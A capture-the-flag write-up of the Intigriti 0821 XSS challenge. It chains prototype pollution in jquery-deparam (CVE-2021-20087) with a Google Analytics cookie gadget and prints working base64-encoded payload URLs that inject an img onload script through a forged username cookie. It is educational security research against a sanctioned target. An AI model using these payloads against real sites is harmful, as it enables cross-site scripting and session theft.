Intigriti 0821 XSS Challenge by @WHOISbinit
Website Overview
Let's take a look at the website and how it works 👀
The main page is using a <iframe>
and looks like main page don't have any details.
So, the iframe's source url is https://challenge-0821.intigriti.io/challenge/cooking.html
Click Here.
Interesting Javascript Libraries/Files
In that page's source we can find 3 javascript libraries/files used.
<script src="main.js"></script>
<script src="https://rawcdn.githack.com/AceMetrix/jquery-deparam/81428b3939c4cbe488202b5fa823ad661d64fb49/jquery-deparam.js"></script>
<script src="https://www.google-analytics.com/analytics.js"></script>
jquery-deparam.js
is vulnerable to CVE-2021-20087 and there is no known fix currently. 😲
So jquery-deparam
library indicates that the challenge is about Javascript Prototype Pollution
.
And, why is this website uses google-analytics
🧐 (This will come to play later)
main.js
looks like the only custom coded (By the lazy devs) javascript file. 😈
Javascript File - main.js - How can we inject arbitrary javascript to the page 🧐
So, Let's take a look at that file. 👀
If you take a look at this file, I only found one way to get some bad stuff injected to the page. 🤔
It is the welcomeUser
function,
function welcomeUser(username) {
let welcomeMessage = document.querySelector("#welcome");
welcomeMessage.innerHTML = `Welcome ${username}`;
}
But, It is called via,
welcomeUser(readCookie('username'));
Basically, readCookie
is a function that reads cookies, and we have to pass the cookie name.
In this case, it is getting the value of the username
cookie and putting it inside the welcome element's innerHtml
Hmm, we got Self-XSS.
Time to find a way to edit the cookie then. 🙄
How can we inject a cookie or modify a cookie 🧐
There is a function called handleLoad
, which is called after the document is loaded.
const handleLoad = () => {
let username = readCookie('username');
if (!username) {
document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
}
let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));
ga('create', 'ga_r33l', 'auto');
welcomeUser(readCookie('username'));
generateRecipeText(recipe);
console.log(recipe)
}
Take a look at this,
let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));
Here are the functions it uses,
new URL(location.href)
-> Creates a new URL Object
new URL(location.href).searchParams.get('recipe')
-> Getting the value of the parameter called recipe
from the previously created URL Object
atob(new URL(location.href).searchParams.get('recipe'))
-> Basically, atob
function is used to decode base64, it decodes the value of recipe
parameter
deparam(atob(new URL(location.href).searchParams.get('recipe')));
-> Finally, Parsing that decoded data to deparam
function. Which accepts URL encoded parameters and This function is vulnerable to prototype pollution
deparam
function will return the Url Encoded Values using JSON Format.
https://www.npmjs.com/package/deparam
So, We can see that the user input is going to deparam
function, which is really bad. 😍
Now, We can finally decide that this code is vulnerable to CVE-2021-20087
😈
Javascript Prototype Pollution - CVE-2021-20087
Now, Let's test if we can create a variable abusing this.
Since this is client side, you can use this amazing github repository.
Github - BlackFan/client-side-prototype-pollution
And you will find how to exploit this CVE. 👌
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-deparam.md
We just have to pass __prototype__[<variable_name>]=<variable's_value>
, That's it. 👌
Now, to check this we need to understand how this website works. 🤔
So, I am gonna grab the base64
recipe from the given payload called The Basic XSS
The link is this,
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9VGhlJTIwYmFzaWMlMjBYU1MmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMHNjcmlwdCUyMHRhZyZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdCZwYXlsb2FkPSUzQ3NjcmlwdCUzRWFsZXJ0KDEpJTNDL3NjcmlwdCUzRSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1FbmpveQ==
And when we decode the recipe
parameter via base64 we can see this url encoded data. (application/x-www-form-urlencoded)
title=The basic XSS&ingredients[]=A script tag&ingredients[]=Some javascript&payload=<script>alert(1)</script>&steps[]=Find target&steps[]=Inject&steps[]=Enjoy
Pretty simple right?
We have to pass the details of a XSS Payload
using this way,
Url Encoded Data
-> Base64
-> https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=<base64>
So, Here I created a minimal payload with below url encoded data.
title=title&ingredients[]=nothing&payload=<xss>&steps[]=GoAway!&__proto__[test]=isira_adithya
Let's encode this in base64 and check the response of the website.
Here is the url.
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9dGl0bGUmaW5ncmVkaWVudHNbXT1ub3RoaW5nJnBheWxvYWQ9PHhzcz4mc3RlcHNbXT1Hb0F3YXkhJl9fcHJvdG9fX1t0ZXN0XT1pc2lyYV9hZGl0aHlh
Now, Let's run console.log(test)
in the developer console. 🤓
Hmm, We can see the test
variable is created.
But, how to use this CVE-2021-20087 thing to edit the username
cookie. 🧐
Google Analytics to the rescue 🥳
This is where I started to look at the Script Gadjets
section of the Github - BlackFan/client-side-prototype-pollution
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/google-analytics.md
And, now we know why this page used https://www.google-analytics.com/analytics.js
Cool, Now we know how to create a cookie. 🤓
Creating the final payload/exploit
Here is my xss payload,
username=<img src=https://isiraadithya.com/test.jpg onload="alert(document.cookie)"><style
So, I created this url encoded payload.
title=title&ingredients[]=nothing&payload=<xss>&steps[]=GoAway!&__proto__[cookieName]=username%3D%3Cimg%20src%3Dhttps%3A%2F%2Fisiraadithya%2Ecom%2Ftest%2Ejpg%20onload%3D%22alert%28document%2Edomain%29%22%3E%3Cstyle
Note that the username
parameter is encoded in URL Encode
Now, Let's encode this in Base64
and create the url/link for the exploit.
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9dGl0bGUmaW5ncmVkaWVudHNbXT1ub3RoaW5nJnBheWxvYWQ9PHhzcz4mc3RlcHNbXT1Hb0F3YXkhJl9fcHJvdG9fX1tjb29raWVOYW1lXT11c2VybmFtZSUzRCUzQ2ltZyUyMHNyYyUzRGh0dHBzJTNBJTJGJTJGaXNpcmFhZGl0aHlhJTJFY29tJTJGdGVzdCUyRWpwZyUyMG9ubG9hZCUzRCUyMmFsZXJ0JTI4ZG9jdW1lbnQlMkVkb21haW4lMjklMjIlM0UlM0NzdHlsZQ==
And that's the final payload.
Why is it not working??? 🤦♂️
Well, Let me explain.
Once again, If we take a look at the handleLoad
function, we see that the username
cookie is already created when the prototype pollution happens.
const handleLoad = () => {
let username = readCookie('username');
if (!username) {
document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
}
let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));
ga('create', 'ga_r33l', 'auto');
welcomeUser(readCookie('username'));
generateRecipeText(recipe);
console.log(recipe)
}
But luckily, the website creates the username
cookie in a way that will expire when browser is closed.
If you read Document.cookie - Web APIs | MDN, You will find this section.
So, the website creates the cookie like this.
document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
So, If you open the developer tools and go to the application section you can see this.
So, Let's close the browser and Revisit https://challenge-0821.intigriti.io/.
Annnnnnd, voila!! 🥳
Reporting
After I created a submission, the submission got accepted! 😎
But, Robbe/PinkDraconian said that there is a way to do this in one click. 🤔
I tried my best, but I didn't got. 😥
I guess, I will read others write-ups then.
Update
I read the amazing writeup by @svennergrhttps://svennergr.github.io/writeups/inti/0821/
Well, turn out that there is a parameter called cookiePath
in the analytics.js
(Google Analytics) script gadjet.
-- Inside Google Analytics Javascript code ---
, U = T("cookieName", void 0, "_ga")
, W = T("cookieDomain")
, Yb = T("cookiePath", void 0, "/")
, Zb = T("cookieExpires", void 0, 63072E3)
, Hd = T("cookieUpdate", void 0, !0)
, Be = T("cookieFlags", void 0, "")
Because, the User Agent/Browser is giving the priority to cookies with specific path So, if we combine that with the previous payload we can get one click xss. So, the url encoded payload looks like this.
__proto__[cookieName]=username%3D%3Cimg%20src%3D%22https%3A%2F%2Fisiraadithya%2Ecom%2Ftest%2Ejpg%22%20onload%3D%22confirm%28document%2Edomain%29%22%3E&__proto__[cookiePath]=%2Fchallenge%2Fcooking.html
Now, We can encode it in Base64
and create the final url like below.
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEJTNDaW1nJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZpc2lyYWFkaXRoeWElMkVjb20lMkZ0ZXN0JTJFanBnJTIyJTIwb25sb2FkJTNEJTIyY29uZmlybSUyOGRvY3VtZW50JTJFZG9tYWluJTI5JTIyJTNFJl9fcHJvdG9fX1tjb29raWVQYXRoXT0lMkZjaGFsbGVuZ2UlMkZjb29raW5nLmh0bWw=
Anddddd, I won the challenge too. 🥳
Thanks s lot @Whoisbinit and @intigriti
Download this writeup
If you collect writeups like me, You can download this writeup using below link.
- Markdown File
- PDF File
- PNG File Idk why I exported as a PNG 😂
References
Here are some cools resources to learn about the concepts used here.
- What is a Prototype Pollution vulnerability and how does page-fetch help? - 👌👌 explanation of prototype pollution by Detectify
- Prototype pollution: The dangerous and underrated vulnerability impacting JavaScript applications - About Javascript Prototype Pollution by Daily Swig
- Webinar: Hacking Modern Web Apps with RCE and Prototype Pollution by Abraham Aranguren - Javascript Protype Pollution
- Olivier Arteau -- Prototype pollution attacks in NodeJS applications - Javascript Prototype Pollution
- NodeJS - proto & prototype Pollution - Notes about Prototype Pollution by HackTricks
- https://github.com/BlackFan/client-side-prototype-pollution - The place to find the exploits and cves for prototype pollution
- document.cookie - MDN - What is
document.cookie
and how to use it? Official MDN Documentation
Thanks
Thanks a lot for reading. 😊